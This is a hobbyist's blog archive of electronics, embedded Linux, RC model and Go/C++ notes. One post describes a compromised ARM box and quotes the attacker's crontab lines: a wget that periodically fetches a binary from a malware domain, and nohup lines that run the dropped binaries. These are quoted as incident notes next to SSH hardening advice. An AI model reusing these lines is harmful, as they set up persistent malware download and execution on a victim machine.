The 20 ms timer fires at ~16 ms and ~24 ms. HZ is 128. Turn on TCB as a clock source, switch to low latency, switch to tickless.
IMU has:
DLPF, a low pass filter. Use to filter accelerometers?
Default accelerometer range is +-2G (as the default reading is ~16000)

golang and realtime musings

Sun, 19 Oct 2014 18:23:21 +0000

I’m using golang as the language for my self balancing robot project. It should be interesting as golang is designed for server loads, not for realtime, but the bot will need to update at 100 Hz (10 ms/cycle) to say upright.

I had a look at the source and there’s a few issues:

No priorities. The fast control loop should take priority but goroutines are cooperative, have no concept of priority, and are multiplexed onto threads in undefined ways.

The timers are fired from one thread. Ideally timers should have priority and smear, so the control timer can fire first and any other timers can run at roughly the right time when the CPU has gone idle.

The garbage collector is stop world. It’d be nice if the control thread had its own GC pool. Not going overboard with short lived objects should keep this under control.

The next step is to measure see if any of this is a problem. I plan to have the control loop set a pin on entry and clear it on exit, and then use a ATTINY as a timer to measure the start and runtime jitter.

Balancing robot first steps

Sun, 21 Sep 2014 18:01:47 +0000

I’m working on a self balancing robot as a coming-into-winter-something-inside-sounds-good project. Today I got it driving about: not balancing, not smart, but still a good milestone.

It’s been a lot of fun due to the different tech involved. The body is laser cut acrylic with finger joints to join the base to the motor plates. The controller is a Arietta 400 MHz ARM9 running Debian. The motors are some cheap DC motors/gearbox/wheel combos from Olimex. The motor controller is a L298. The ‘up’ sensor is a six axis MPU6050 giving gyros and accelerometers.

It’s definitely a v1. I want to redo the frame to be much narrower and taller giving a more ‘upright’ shape. I might build a PCB instead of veroboard to shrink the whole design.

The current hard problem is the supply. I need 5V to drive the USB Wifi adapter so I’m considering changing the 6V 4x AA battery pack for a 7.4 V 2S LiPo. It’s a better size and is a high enough voltage that I can put a 5 V linear regulator and have both the motor and control from the same battery.

Mini Xplus as a Server

Sun, 24 Aug 2014 00:00:00 +0000

Random, incomplete notes on using a Miniand Tech Mini Xplus H24 as a server machine.

v2

I’ve soldered up a serial port so doing things from scratch is much easier.

$ sudo cp -a hwpack/rootfs/* /media/removable/rootfs/

sun4i# set extraargs init=/bin/sh
sun4i# run bootcmd

# rm -rf /var/run
# ./debootstrap/debootstrap --second-stage
# passwd

v1

Start with the Lubuntu image: https://www.miniand.com/forums/forums/2/topics/1

I used http://dl.miniand.com/allwinnera10/ubuntu/lubuntu-desktop-12.04-4-720p-512MB-miniand.com.img.7z

Turns out my board has 1 GB and the board probed for it just fine.

Writing the image to an SD card gives a boot and rootfs partition similar to the OMAP series. The bootfs has a binary file and kernel image.

I don’t have a keyboard. Fix the wifi interface by editing /etc/network/interfaces:

auto wlan0
iface wlan0 inet dhcp
        wpa-ssid "your network name"
        wpa-psk your-network-key

The board doesn’t seem to register the hostname with the DHCP server. mDNS works though.

The Lubuntu image is armel based. The hard float armhf Precise image should be much faster for floating point workloads as the A8 takes some time to shift values back and forth between the core and VFP unit.

Grab the modules from /lib/modules. kpartx is your friend.

Grab the most recent Precise release. I used http://cdimage.ubuntu.com/releases/precise/release/ubuntu-12.04-preinstalled-server-armhf+omap4.img.gz

gunzip, mkfs.ext4 -L rootfs -m 0.5 /dev/sdc2, and tar across to the SD card.

Set a password for root by editing /etc/shadow.

Use QEMU to boot and apt-get install wireless-tools wpasupplicant openssh-server. adduser your-name. adduser your-name sudo.

You can now boot and login.

Set the default locale in /etc/default/locale

LANG=C
LANGUAGE=C

Add universe to /etc/apt/sources.list. Toast /var/lib/preinstalled-pool/.

Dogfighter settings

Sat, 19 Jul 2014 13:10:41 +0000

I’m quite enjoying my Multiplex Dogfighter. I just fitted a new spinner and mount to replace the one chipped in a crash, and it’s smooth and quiet again at full throttle. It’s a crazy tough model plane.

For reference, here’s the settings I use on my Futaba remote:

Aileron: rate 60 % exponential -40 %
- Elevator: rate 100 % exponential -20 %
  - Flaperons: -30 %
    - Air brake: Aileron +50 % Elevator +11 % Flaps: +50 %
    This is quite docile. The flaperons could be more negative.

Console on a old Nokia display

Tue, 15 Jul 2014 18:34:59 +0000

After a night of hacking I have the cutest console ever: fbcon on my Arietta G25 showing on a 84×48 Nokia 3310 LCD thanks to fbtft. The nice thing is it’s tiny enough to fit on my RC car but shows as a standard framebuffer so will work with everything.

There’s two versions of the display with two controller chips. fbtft required some patching which I’ll send upstream after company review.

I’m tempted to put GERTY‘s face from Moon on it while it drives about.

Shorter boot time on the Arietta G25

Sun, 13 Jul 2014 19:25:45 +0000

Short story: my Arietta G25 now boots to prompt in 3.9 s instead of the stock 50.7 s. Nice.

I had a hack about with reducing the boot time of the Arietta G25 ARM9 based Linux board. I’m planning on doing some kernel hacking so shorter is better as it cuts the build/push/test cycle down.

My log is here. I pulled the usual tricks like switching to custom init scripts (eck), dropping udev for mdev, and doing things like USB Ethernet initialisation as late as possible.

I had a few surprises: LZO is faster than Gzip (despite being bigger and taking longer to load from SD), -O2 is faster to boot than -Os (despite being heavier on the cache), and switching from 115200 baud to 460800 also made a difference.

This is all against a Chromebook host with Crouton. The USB Ethernet also works fine once I switched the board from EEM to ECM mode.

Arietta 25

Sun, 29 Jun 2014 19:51:29 +0000

I picked up two Acme Systems Arietta G25‘s. They’re a tiny Atmel ARM9 powered board with most of the I/O out on a 0.1″ header. I hope to hook one up to a GPS to send up in my plane and record the track and speed.

Some random notes:

The board shows up as a USB CDC EEM Ethernet adapter. ChromeOS includes the CDC Ether but not the EEM driver. I built the chromeos-3.8.11 EEM driver from source and it worked just fine.

The usual SSH port forwarding trick works well for installing extra packages. Run Polipo somewhere on your network, SSH into the board with port forwarding (-R 8123:proxy-name:8123), set the proxy (export http_proxy=http://localhost:8123/), and apt-get away.

The default hostname is arietta. Add it to the localhost line in /etc/hosts to make sudo faster.

The default golang packages that come with x86_64 Ubuntu Trusty work great for cross compiling, and the statically linked binaries run on the board with no extra support. Try GOARCH=arm GOARM=5 go build.

I can’t figure out how to build a Device Tree script into the binary form. The Linux kernel uses #include and abuses the C preprocessor, but you need a whole set of flags to cut the extra noise that cpp adds so that dtc can still parse the output. Copying into the Kernel tree works fine.

Some grass trimming

Sun, 22 Jun 2014 17:38:25 +0000

Two good runs with my plane today, including a good looking flare out on the second landing. The plane pulled up, stalled, and correctly came down on its belly.

The very first try was… unfortunate. I decided to take off down wind so I could have the sun behind me and a good, empty field in front. The plane stalled and somehow went to full throttle, cutting grass and leaving this for a propeller:

Up and down again

Sun, 01 Jun 2014 10:03:59 +0000

This is what success with a Multiplex Dogfighter looks like:

The canopy is on, the wing is on, and the battery isn’t kissing the motor. Success!

Pro tip: wear long pants when flying else the long grass will make you regret.

Stopping ‘PAM service(sshd) ignoring max retries’ errors in syslog

Tue, 22 Apr 2014 17:25:12 +0000

Seeing messages like sshd[28778]: PAM service(sshd) ignoring max retries; 6 > 3 in auth.log? It’s caused by pam_unix disagreeing with sshd on how many times a user can retry their password before getting disconnected. To stop it, add MaxAuthTries 3 to /etc/ssh/sshd_config.

Huffman coding on NMEA sentances

Sun, 13 Apr 2014 19:12:47 +0000

I’m impressed with how well Huffman encoding works on the very verbose, very repetitive, ASCII based NMEA GPS sentances. I hacked up a Python script that bakes a fixed dictionary from example data and a device side C++ encoder that encodes based on the dictionary. The encoder is 46 statements, uses ~10 bytes of RAM, and still gets almost 3:1 compression.

For comparison, on my 135,548 byte test file:

Treating each character as a symbol gives 58,749 B (2.30x)
- Treating the talker (‘GPGGA’), and each non-numeric field as a symbol gives 46,104 B (2.94x)
  - lzop gives 22,161 B (6.12x)
    - gzip gives 12,167 B (11.2x)
    The end goal is to strap a GPS, LPC810, and 32 KiB data flash to my plane and record the track while flying over the Allmend. Off the shelf is too easy.

Three days to posession

Mon, 31 Mar 2014 18:19:57 +0000

As an experiment, I hooked up a spare ARM machine to the internet and left it running Tor. It only took three days for a script kiddie to break in, as it turns out the pre-built rootfs I used has a poor default root password.

So the lessons are:

Always clear the root password.
- Disable root login in sshd_config.
  - Disable password logins in sshd_config and use keys only.
  The particular virus uses Perl to run a script that masquerades as /usr/sbin/apache/log. It overwrites /var/spool/cron/crontab/root to fetch various things over reboot including writing various binaries like /etc/atddd. Some example lines:
```
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
```

*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1& */100 * * * * nohup /etc/kysapd > /dev/null 2>&1&

        These are all x86 statically linked binaries. I don&#8217;t think they&#8217;re run too good on ARM 🙂
        
        Time to nuke the system. It&#8217;s the only way to be sure.

Mugs

Mon, 17 Mar 2014 00:00:00 +0000

From left to right:

Prague for the 2010-07 sprint
Orlando, Florida for the 2010-10 LDS
Budapest for the 2011-05 LDS
Dallas, Texas for the 2011-01 sprint
San Francisco, California for the 2012-02 Connect
Orlando, Florida for the 2011-10 Connect
Brisbane, Australia for the 2011-01 LCA
Hong Kong for the 2012-05 Connect
San Diego, California for the 2012-08 Plumbers
Copenhagen, Denmark for the 2012-10 Connect

I’m missing a Cambridge mug for the 2011-08 Connect and Shenzhen for 2011-11.

And around the world:

First flying of the year

Sun, 23 Feb 2014 15:03:03 +0000

I dusted my T-28 Trojan off and took it for a fly in the Allmend today. Hard to say no to such nice weather. I could even feel my fingers when I got back!

Unstable heading

Sun, 16 Feb 2014 19:48:42 +0000

The replacement wishbone arrived so the cars in good shape, but still no luck with the heading controller. I can get it to slowly oscillate along a straight line by using a low Kp and restricting the steering, but the step response is poor. Adding a differential term based off the GPS heading didn’t help and showed up the high frequency noise you’d expect from a differential.

I suspect there’s quite a bit of lag in the GPS heading and that it has a hard time calculating on tight, small radius turns. This seems reasonable as the heading must come from the velocity angle or difference in position. Measuring and plotting would help…

Next step is to wire up the MPU-6050 based gyro I got off ebay. i2cdevlib has a driver for it that uses the Fastwire ATMEGA I2C library, but I’ve stripped out so much there’s not much original code left. The board is physically a bit tight so it’ll be tricky to fit.

Heading controller progress

Sun, 02 Feb 2014 16:55:18 +0000

The heading controller is basically working. The big changes were reducing the maximum steering angle to reducing how much trouble the controller can get itself into, and putting the gain on the dial so I could tune it while driving. There’s still a lot of slow oscillation so I I’ll add a differential term to counter how steering angle integrates to heading.

The reliability problem has gone after switching from the golang gc compiler to gccgo. I think there’s a problem with the runtime as the whole app locks up and gdb reports all threads being in a function with ‘futex’ in the name. I want to report this to the golang team, but how do you reduce “a 10 thread 1000 line program, on ARM, on a random kernel, in the cold, in a noisy environment, sometimes locks up after 10 minutes of activity.”

Next step is the differential term. I only have GPS heading so I’ll look at the run data and see how noisy the heading differential is. Getting a gyro is tempting.

Actually, the zeroth step is replacing the front wishbone:

I must have half broken it in the first Great Crash, and last nights glue job didn’t hold. Conrad want an excessive 50 CHF including shipping for two of them and a new bumper. German word of the day: a bumper is the much more awesome Frontrammer.

Adding watchdogs to track down a halt

Sat, 01 Feb 2014 20:39:17 +0000

The car controller is dropping out now and again for no obvious reason. I thought it was due to the cold changing the internal RC oscillator frequency and making the serial communications unreliable, but I’ve switched to a 12 MHz crystal and it’s no better. The problem doesn’t happen inside, so I suspect it’s interference from the motor causing a serial error which the serial driver locks up on. Restarting the program without resetting the hardware clears the fault so I should be able to handle it in software as well.

I’ve added a watchdog on all of the interesting dimensions: GPS data, GPS lock, input from the remote, heartbeats from the board, and two-way communications via a ping. Hopefully the fault will now show up in the logs.

I’ll dump the message and error counter to the log as well to see if the rates change when driving.

Heh, next thing you know my car will be running Borgmon…

Fixing bad AVR fuses the hard(er) way

Wed, 29 Jan 2014 20:01:40 +0000

Lesson for the day: always put the big ICs in sockets. I fitted a crystal to the AVR on the interface board yesterday and managed to brick the chip by setting the fuse values to use an oscillator that didn’t exist. Thanks for the day: the person who invented desoldering braid. It’s awesome and got the pins clean enough that I could just lever the old chip out.

I’ve now fitted a socket, a new processor, and gone to a 12 MHz crystal. This should take care of the serial baud rate problems when the chip is cold and gives me a bit more resolution on the control signals out to the servos.

Heading controller tests

Sun, 26 Jan 2014 20:27:40 +0000

The heading controller didn’t work out as well. I had one bug when converting from 0..360 degrees to -Pi..Pi radians, but most of the problems were due to reliability and a lack of speed.

You need quite a bit of room when testing as you need to go > 15 km/h to get a good heading from the GPS and to give the wheels something to turn against. Using the three position switch to change modes and dump back into manual mode works well, so I only had a few low speed bumps.

There’s a reliability problem in the communications between the I/O board and the BeagleBone which I suspect is due to temperature. I’m using the internal RC osciallator on the AVR and, according to the datasheet, the frequency may change ~0.1 MHz between my normal toasty testing place inside and the zero degrees outside. Time to fit a crystal and perhaps take it up to 20 MHz at the same time to give lower noise in the software PWM. The upgrade may be fun as I’ve soldered the AVR onto the board – if I burn the fuses wrong then I don’t know if I can recover the chip without desoldering it.

Speed controller test

Sun, 19 Jan 2014 16:26:20 +0000

The speed controller is working well. It’s a simple PI controller but was easy to tune and handles the moderate slope of the road OK. The speed wasn’t very stable at 10 km/s as the motor and gearing doesn’t like going that low, but it was much better at 17.5 km/h (Ethan suggested 20, I suggested 15, we compromised).

Adding the ‘P’ term made a big difference to the step response.

Speed controller test

It’s oscillating!

Sun, 12 Jan 2014 19:38:36 +0000

I’ve hooked in the demands from the rover to the control board and added a simple PID based speed controller. The three position switch on the remote takes the car from manual control to auto with speed=0 to auto with speed=10 km/h. I’ve hooked in the dial on the remote to change the Ki term so I can fiddle with the response while the car is running.

It worked quite well, but I caused a ding while fiddling: the gain was high enough to cause the speed to oscillate (peak ~= 30 km/h, with about 5 s period) and it surged into the curb. The bumper worked well, but the rover battery moved forward and put a hole in the box.

Next is adding a deadband to give finer control and better limits on the maximum drive and integral.

The driving lunchbox

Sat, 04 Jan 2014 14:52:02 +0000

I found a good container to house the electronics on my never-complete autopilot project. Here’s some pictures of it mounted onto the car:

The car is a Conrad Rhino III buggy. It’s a cheapie house brand, but I’ve been really happy the toughness and level of technology so far. Two of the wheels fell off due to poor self-locking nuts but they were an easy fix. The mud is there for authenticity.

The container is a lunch box which gives me a 180 x 130 mm working area, some protection, and an easy way to keep out the dust. The plastic is a bit brittle so I’ll replace it in the future. The standoffs are M6 x 60 and are far too meaty for the job. I’m a bit worried the container will flex with vibration but it should stiffen up when I screw the Beaglebone Black into it. The clearance from the hot motor should be enough.

Next step is power for the computer. I’m thinking a ~1000 mAh 2 cell Lipo which should give a couple of hours of life.

Supervisor is working

Sun, 29 Dec 2013 20:51:52 +0000

The supervisor for my autopilot is working. This is a fairly critical piece that runs on the AVR I/O board and handles the handover between the manual remote, the autopilot, and any safeties.

This means I have:

Multi-channel PWM input from the RC receiver.
- A link with the Go based, BeagleBone hosted pilot that receives demands.
  - A state machine that handles remote to pilot handover.
    - Throttle shutdown on remote loss, pilot loss, and resume on low throttle.
      - And indicators for all.
      There’s many hacks, like using polling instead of triggering on an input cycle, but it’s getting closer to being safe to try on the real car.

First tries with Go

Mon, 23 Dec 2013 19:20:36 +0000

I’d like to learn Go, so I’m considering using for the command side of my never complete self driving RC truck project. Here’s some quick notes after a night of hacking:

Effective Go is short, detailed, and just right if you’re happy in other languages
- Go 1.2 builds cleanly on a Samsung ARM Chromebook in a Ubuntu Saucy Crouton chroot
  - The emacs packages are in misc/emacs. Copy to ~/.emacs.d/lisp
    - Inside emacs, try go-mode and gofmt
      - encodings/binary can encode and decode bytes to structs, so that takes care of the message parsing.
      The target machine is a ARM Cortex-A8 based BeagleBone Black and so far the ARM support seems first class.
      
      Aside: You can do a surprising amount in GCC Go without touching the runtime. I wonder if you could write basic code for the AVR in Go?

Christmas star light

Sun, 22 Dec 2013 16:36:35 +0000

We’ve got some Christmas stars in the window that needed some illumination. I hacked together a Olimex OLIMEXINO-85, a 8 mm RGB led, and the support components to make this:

https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v

The video is a one-frame-per-second timelapse (thanks Android!). It’s hard to see as the LED is so bright that the camera is saturating but it’s 60 s on white, 10 s transition to the next colour, 10 s there, then 10 s transition back to white. The colour cycles around the colour wheel, although the purple and cyan are a bit subtle.

Code is at https://juju.net.nz/src/hacks.git/tree/christmas.

Regulator board

Fri, 20 Dec 2013 19:40:02 +0000

I’m pretty happy with this. It’s a USB to 3.3 V 1 A supply using a AMS1117 linear regulator. I used the SMT version as the pin spacing is fine for veroboard and I can hide it away on the bottom of the board. The cable is three pins to give some keying and a bit more strength and hold.

It could use some hot glue as strain relief on the cable.

FTDI serial adapters and Chrome OS

Tue, 17 Dec 2013 21:09:09 +0000

Looks like I’ve run into my first problem: FTDI based USB to serial adapters don’t work as they seem to be automatically disconnected shortly after plug in. I suspect that it’s udev running the brltty rules, not finding a assistive device, and aborting.

The udev scripts are under /lib/udev/rules.d but I can’t hack it as the rootfs is read only. Let’s see what the devs think..

chromium

Tue, 17 Dec 2013 08:10:22 +0000

Looks like I’ve run into my first problem: FTDI based USB to serial adapters don’t work on Chrome OS as they seem to be automatically disconnected shortly after plug in. I suspect that it’s udev running the brltty rules, not finding a assistive device, and aborting.

The udev scripts are under /lib/udev/rules.d but I can’t hack it as the rootfs is read only. Let’s see what the devs think…?

An open-source project to help move the web forward.

ARM Chromebook as a primary machine

Sun, 24 Nov 2013 18:28:47 +0000

I’m going to see if my Samsung ARM Chromebook can be my primary machine. I’ve put a crouton Ubuntu chroot on a SD card (so it survives the kids dropping out of developer mode) and will mainly SSH into it. I’m not fond of the speed or reliability of SD cards so I’ll see how that goes.

I’m doing a bit of web.py and Arduino (via avrdude) hacking at the moment so the combo of a chroot, ARM, and low level mucking about will be entertaining.

AVR Hacking

Wed, 30 Oct 2013 00:00:00 +0000

Programmer

JTAG  Name  M168  T85
3 -   MOSI  17    5
4 -   RESET 1     1
5 -   SCK   19    7
6 -   GND   8     4
7 -   MISO  18    6

ATTINY85

PB5 (o  ) VCC
PB3 (   ) PB2
PB4 (   ) PB1
GND (   ) PB0

Serial

5V  o  o
    o  o TX
    o  o RX

ARM host

Sat, 03 Aug 2013 00:00:00 +0000

I’d like a lower power server for inside my home. Some requirements:

Cortex-A9, quad core, 1.2 Ghz or more.
2 GiB
Ethernet. USB hosted is OK, native gigabit is better.
2 or more USB ports.
A public git tree.

And would be nices:

In the Linus kernel
Real datasheets (yay Freescale!)
Fit within a 3.5” drive envelope (102 x 25 mm, 18 mm for ‘airflow’)

Mass storage will come from the NAS. If it’s small enough then it can fit in a spare drive bay.

Some potentials:

Wandboard Quad. 95 x 95 mm, unknown height.
ODROID-X2, 90 x 95 mm, unknown height.

Update: 2013-08-01: I decided on the Freescale i.MX6 based Wandboard. Quite happy so far. SATA is broken but possible. Tops out at 70 deg C at 1 GHz.

Synology 213 as a Freedombox

I’d like to self host and move my current VPS into my home. I have an ARM-based Synology NAS which can also run Debian in a chroot. Here’s the setup.

Installing Debian:

Start at http://www.synocommunity.com/
Add the http://packages.synocommunity.com/ source
Open the Package Center
Click on Community
Install Python
Install Debian Chroot

It looks like the package does a debootstrap as part of the install.

Once installed, select Action | Run

Enter the chroot and do basic setup:

/var/packages/debian-chroot/scripts/start-stop-status chroot
vi /etc/apt/sources.list
Keep wheezy enabled, drop the others
apt-get update
apt-get dist-upgrade
apt-get install -yq jed locales sudo
dpkg-reconfigure locales tzdata

Add the SSH server on a custom port:

apt-get install -yq jed openssh-server
jed /etc/ssh/sshd_config
Update Port
cd /etc
mkdir rc.syno.d
cd rc.syno.d
ln -s ../init.d/ssh

Update the DSM-side start script to also start services:

vi /var/packages/debian-chroot/scripts/start-stop-status
Add the following after the last grep/mount in start_daemon:

chroot ${CHROOTTARGET}/ /bin/run-parts -a start /etc/rc.syno.d

Add the user account:

Add in the DSM side under Control Panel | User
Grab the user ID from /etc/passwd
Add in the chroot with the same user ID: adduser --uid xxxx username

You now have a Debian chroot with SSH access. Have at it!

Notes:

The chroot is stored at /volume1/@appstore/debian-chroot/var/chroottarget. Don’t forget to back it up.
Add any services manually to /etc/rc.syno.d

Builder

Thu, 01 Aug 2013 00:00:00 +0000

I’d like to set up clean auto builds of my personal projects and some upstream projects like crosstool-ng, gcc, and binutils.

Clean install

I’d like the build to run in a clean setup so the base system can be used for general development without affecting the build results.

Some technologies are:

docker (LXC containers)
schroot (Debian specific chroot helper)

debootstrap or Ubuntu Core can be used for the base system. Use polipo as a cache for the packages.

Aside: what does the debootstrap buildd variant include?

/usr/share/debootstrap/scripts/ include the selectors
Adds build-essential (quite reasonable)
Or all tagged as Build-Essential

schroot

schroot is nice:

normal users can enter the chroot
you can spawn a session chroot off a seed
the startup scripts copy various files from the host across

CopterControl

Sat, 29 Jun 2013 00:00:00 +0000

TCHAIN_PREFIX = arm-none-eabi-

export CODE_SOURCERY = NO to skip -fpromote-loop-indicies

Command line programming

There’s an experimental command line programmer in ground/openpilotgcs/src/experimental/USB_UPLOAD_TOOL. Use http://juju.net.nz/src/pilot-hacks.git/tree/opuploadtool.mk to build it.

Custom code

The link command is

arm-none-eabi-gcc ... $defines $includes $objs
  --output foo.elf -nostartfiles -Wl,-Map=foo.map,--cref,--gc-sections
  -lc -lm -lgcc
  -T../PiOS/STM32F10x/link_STM32103CB_CC_Rev1_memory.ld
  -T../PiOS/STM32F10x/link_STM32103CB_CC_Rev1_sections.ld

The firmware image has a 100 byte header generated by:

python $openpilot/make/scripts/version-info.py
  --path=$openpilot
  --template=$openpilot/make/templates/firmwareinfotemplate.c
  --outfile=$openpilot/build/fw_coptercontrol/fw_coptercontrol.bin.firmwareinfo.c
  --image=$openpilot/build/fw_coptercontrol/fw_coptercontrol.bin
  --type=0x04 --revision=0x02

According to the linker script:

BL_FLASH is 0x08000000 to +0x2f7f
BD_INFO is 0x08002f80 to +0x80
FLASH is 0x08003000 onwards to (128 - 12) k
SRAM is 0x20000000 to +20 k

Vectors are at the start of user flash (…3000), live in .isr_vectors, and are from startup_stm32f10x_MD_CC.S.

Bootloader checks the blob at pios_board_info_blob (0x08002f80):

struct pios_board_info {
  uint32_t magic;
  uint8_t  board_type;
  uint8_t  board_rev;
  uint8_t  bl_rev;
  uint8_t  hw_type;
  uint32_t fw_base;
  uint32_t fw_size;
  uint32_t desc_base;
  uint32_t desc_size;
  uint32_t ee_base;
  uint32_t ee_size;
} __attribute__((packed));

for bdinfo->fw_base & 0x2FFE0000 == 0x20000000. Sets SP to fw_base[0] and jumps to *fw_base[1]. Ah, so checks that the SP is valid.

What does the image look like? The command line flasher just takes a binary file and programs it to 0x08003000.

Hardware

The status LED is on PA6. Crystal is 8 MHz. Blink it!.

Schematic is at http://wiki.openpilot.org/download/attachments/12386767/CopterControl%20Schematic.pdf

Ports:

USART connectors are GND / PWR / TX / RX
CONN2 is USART1 on PA9 & PA10 with an invert select on PB2
CONN3 (Flexi) is USART3 on PB10 & PB11

Olimex STM32-H103 Notes

Wed, 26 Jun 2013 00:00:00 +0000

The Olimex STM32-H103 is a ST STM32F1 based development. Pluses are the USB port, proper JTAG connector, and all I/O out on 0.1” pitch pins.

Details:

STM32F103RBT6 CPU
128 Ki flash, 20 Ki RAM, 72 Mhz
Standard 20 pin JTAG connector
Green STAT LED on PC12
8 MHz crystal

Links:

Programming

I used the Ubuntu Raring OpenOCD 0.6.0 and a Signalyzer Lite. The host is a Macbook Air running Windows with Ubuntu Raring in a VM. OpenOCD sometimes fails with a Error: unable to open ftdi device: unable to fetch product description error, but re-plugging the JTAG device fixes that.

A basic OpenOCD config file works fine:

# Olimex STM32-H103
source [find interface/signalyzer-lite.cfg]
source [find target/stm32f1x.cfg]

Programming via telnet localhost 4444 involves:

reset halt
flash probe 0
stm32f1x mass_erase 0
flash write_image blink.hex 0 ihex
reset run

Synology DS123 Hacking

Sun, 03 Mar 2013 00:00:00 +0000

Links

What’s running

The usuals

cron
inetd
syslogd
rsyslogd
hotplugd

Services

ntpd
sshd
Apache httpd 2.2.22
postgres
cupsd
Sambda nmbd / smbd
snmpd
avahi-daemon
lighttpd for MediaServer

Layout

Generally under /usr/syno with one directory per package. Some in the usual UNIX bin etc.

Installing Debian

SynoCommunity provide a chroot package that can be installed from the DSM. It needs a little bit of work past there. Some incomplete notes:

admin and root have the same password, but only root can su; chroot
The chroot ended up in /volume1/@appstore/debian-chroot/var/chroottarget
Create the user and role account through DSM first
Copy into the chroot passwd and shadow - don’t overwrite
Bind mount /volume1/homes (/var/services/homes)
Bind mount /dev, /dev/pts, and /proc for sshd to work
Run sshd inside the chroot to get direct, non-root access. Use a different port in /etc/ssh/sshd_config
Change /etc/apt/sources.list to testing only. Drop the pinning in /etc/apt/preferences

A bit of hacking later, it seems that the scripts can do most of this for you. /var/packages/debian-chroot/scripts/start-stop-status will do the bind mounts (except /home). The Services tab lets you start and monitor the ssh server from DSM.

Next question is should I run everything inside the chroot or try to use the built-in basic services? The router will hide the port number differences.

Remote work from New Zealand

Mon, 03 Sep 2012 00:00:00 +0000

I’ve worked remotely since 2009. Here’s some random notes.

Organisations

The New Zealand Open Source Society:

http://nzoss.org.nz/

Canterbury Software Cluster:

http://www.canterburysoftware.org.nz/

Institute of IT Professionals (old NZCS):

http://www.iitp.org.nz/

Christchurch Robotics Club:

http://kiwibots.org/

Robonz:

http://www.pitstock.com/robonz/maillist.html

The Valley in Christchurch (TVIC):

https://groups.google.com/forum/?fromgroups#!forum/tvic

Companies

Linaro

Canonical

http://www.canonical.com/
http://www.canonical.com/about-canonical/careers
~600 people, Ubuntu, web, cloud, phone, tablet, distributed. Phew!

Mozilla

http://www.mozilla.org/
http://careers.mozilla.org/
Firefox for desktop, Android, distributed

Automattic

37signals

http://jobs.37signals.com - search for ‘anywhere’

C++11 abuse

Sat, 23 Jun 2012 00:00:00 +0000

I’d like to use the new features in C++11 and the GCC extensions in anger. What are they?

rvalue references:

Use?

Generalised constant expressions:

constexpr to mark a function/constructor as compile time constant
non-void return
can’t declare variables, declare types
single return
non-integrals are now OK: constexpr double foo = ...

POD:

Wider than before
trivial: can be statically initialised, can copy via memcpy()
standard layout: C compatible
No virtual functions, base classes
Same access control

Initialiser lists:

Class can have a std::initializer_list constructor
Foo foo = {1, 2, 3};
bar({4, 5, 6})
std::vectorstd::string v = { “x”, “y” }

Uniform initialisation:

Not sure?
struct Foo { int a; int b; } ... Foo get_bar() { return ( 5, 6 ); }

Type inference:

Awesome!
auto foo = wacky_template_type::yeah<int, bar>...
auto foo = 5;
decltype(some_variable) some_other;

Range based for:

for (int &x : some_int_array) {}
Also works with iterators, begin()/end()

Anonymous functions:

[](int arg1, int arg2) { return arg1 + arg2; }

Trailing return type:

Just like Go
auto foo(int x, int y) -> int;
auto foo(int x, int y) -> decltype(x+y);
Used as x, y are now defined

Constructors:

Delegation: Foo(int x) ...; Foo() : Foo(42) {}
Better than default values as the default gets spread across all callers
Base class constructor inheritance: Derived : Base { using Base::Base; }
Member initialisation: int value = 5; will be called by all constructors
explicit Constructor... to skip

Explicit override:

Mark that you intended to override a base function
virtual void do_it() override;

Final classes and functions:

struct Base final {}: can’t derrive from
virtual void the_last() final;

Null pointer constant:

No more zero, no more NULL: just nullptr
No ambiguity with int args

Fancy enums:

enum class Foo : char { X, Y };
Gives Foo::X
Explicit storage type

Extended templates:

Typedef for a partial template specialisation
using TypedefName = SomeType<OtherType, Second, 5>;
using OtherType = void (*)(double); is the same as typedef (*OtherType)(double)

Unrestricted unions:

union can hold a type with a non trivial constructor

String literals:

u8"I’m in UTF-8 and a const char and a random \u2012 character”
u"I’m in UTF-16 and a const char16_t”
U"I’m in UTF-32 and a const char32_t”
R”(I’m a raw string)”
R"xy(So am I)xy”

Explicitly deleted/defaulted members:

Explicit default constructor class Foo { Foo() = default; }
No default copy constructor class Foo { Foo(const Foo&) = delete; }
No implicit cast class Foo { void f(double); void f(int) = delete; }

Misc:

>> closes templates. Don’t need > >
explicit on conversion operators and constructors to prevent implicit conversion to other types
Variadic templates?
User defined literals: Type variable = 1234_suffix;
But when are they evaluated? compile, start, or runtime?
static_assert
sizeof on members: struct Foo { int bar; }; sizeof(Foo::bar);
alignof(), alignas()

Standard library:

std::thread
std::lock_guard, std::unique_lock
Futures, promises, and async
std::tuples

Fancybox

Sun, 17 Jun 2012 00:00:00 +0000

OpenWRT can do quite a few things I need on my network that are running in many places, including:

DHCP server with DNS hooks - dnsmasq
Netboot/DHCP/TFTP server - dnsmasq
Proxy - polipo

It could let me use IPv6.

The TL-MR3220 has a 400 MHz MIPS CPU, 32 MB of RAM, and 4 MB of flash.

USB audio

Via the MiniDisc USB adapter - sounds really good.

Choose music via:

Pulseaudio sink
MPD with many clients including Android

Other

The PirateBox is interesting.

LPC1114 Temperature Sensor

Sun, 10 Jun 2012 00:00:00 +0000

The idea is to use the Cortex-M0 based LPC1114 as a low power micro in a remote temperature sensor. Use a solar light as the case and power source and it should run forever.

Use the Olimex LPC-H11U14 as a breakout board.

Initial code is at http://juju.net.nz/src/lpc1114.git/

Datasheet User manual

Hardware

LPC1114FBD48/302:

LPC1100L
38 x 38 mm
32 k flash, 8 k RAM, UART, 2x SSP, I2C, ADC
TMP102 0.5 deg C?

microbuilder reference design:

NCP1402 converter. 0.8 V startup, 200 mA, various outputs.
24AA32AFT. Microchip I2C 4 k x 8 EEPROM

PIO0_7 (23) is a 20 mA high current driver. The I2C lines are high current sinks. A white LED has a ~3.5 V drop. Red is ~1.6 V and yellow/green ~2.0 V at 10 mA. 10 mA for a (5 V - 1.8 V) drop = 320 Ohms.

Regulator is a LDO (1.2 V) 800 mA LM1117. Steering diodes give another 0.6 V so it shouldn’t work :)

IOCON set the routing for different signals like the SPI clock.

Two SPI ports:

SPI0: SCK0/PIO0_6 (22), MISO0/PIO0_8 (27), MOSI0/PIO0_9 (28), SSEL0/PIO0_2 (10)
SPI1: SCK1/PIO2_1 (13), MISO1/PIO2_2 (26), MOSI1/PIO2_3 (38), SSEL1/PIO2_0 (2)

Power

The dev board has a LM1117IMPX-ADJ and 240R + 390R divider. V = IR so I = 5.2 mA!

1.8 to 3.6 V supply. Must boost.

